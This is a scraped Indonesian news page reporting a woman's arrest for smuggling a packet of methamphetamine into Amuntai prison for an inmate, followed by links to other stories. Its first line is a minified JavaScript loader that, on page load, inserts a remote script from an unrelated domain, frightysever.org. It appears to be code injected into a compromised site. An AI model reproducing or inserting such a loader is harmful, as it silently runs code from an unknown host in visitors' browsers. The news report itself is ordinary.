(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Mencoba ‘peruntungan’ jadi kurir benda haram, itulah yang dilakoni Rusmini alias Irus (32) warga Desa Batu Merah, Kecamatan Lampihong, Kabupaten Balangan ini. Bermodal nekat mengantarkan paket sabu ke dalam Lapas Amuntai, eh malah berujung ditangkap polisi.
Ya, emak-emak aliaa ibu rumah tangga ini ditangkap petugas Lembaga Pemasyarakatan (Lapas) Kelas IIB Amuntai, lantaran nekat membawa 1 paket sabu dengan berat bersih 1,31 gram untuk temannya Haiman alias Man (33) yang sedang menanti vonis di Lapas Amuntai.
Man sendiri diketahui merupakan warga Desa Mangkupum RT 01 Kecamatan Muara Uya, Kabupaten Tabalong, tahanan titipan dari Polres Balangan yang masih menunggu masa vonis di Pengadilan Negeri Amuntai terkait kasus serupa. Kasat Narkoba Polres HSU Iptu Taufik Suhardiman, kepada Kanalkalimantan.com, Selasa (24/12) mengatakan, saat itu pemeriksaan Irus langsung ditangani oleh Sat Resnarkoba. Sedangkan barang haram tersebut dipesan langsung oleh Man.
Man (33)
Dari Informasi, berawal ketika tersangka Irus dijanjikan upah sebesar Rp 300 ribu mengantar per paket. Irus datang ke Lapas Amuntai dengan niat membesuk Man. Sesampainya di penjagaan Irus diperiksa oleh petugas wanita dan dilakukan penggeledahan. Alhasil, petugas mendapati 1 paket sabu yang terbungkus dalam plastik hitam yang disimpan dalam pakaian dalam wanita (BH) di sebelah kiri.
Usut-punya usut, tersangka Irus mengaku barang tersebut milik temannya Man. Ia hanya diminta untuk mengantarkan barang tersebut ke dalam Lapas Amuntai. Petugas pun mememanggil Man yang menghuni kamar 02 dan ia mengakui dirinya yang meminta Irus untuk mengantarkan paket narkotika jenis sabu tersebut.
Barang Bukti Sabu
“Ini hasil kerjasama Lapas dan Sat Resnarkoba memerangi peredaran gelap narkoba,” ujarnya. Anggota sat Narkoba kemudian menggelandang keduanya ke Mapolres HSU guna diproses lebih lanjut .
“Semoga ini jadi contoh bagi pemakai, pengedar yang masih belum beraksi,” ucap Taufik.
Sementara itu, kedua tersangka bersama dengan barang bukti lainnya seperti 1 buah Hp dan 1 buah kendaraan bermotor roda dua dibawa ke kantor polisi. Keduanya terancam kasus UU RI No. 35 tahun 2009 tentang narkotika. (dew)
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
This website uses cookies.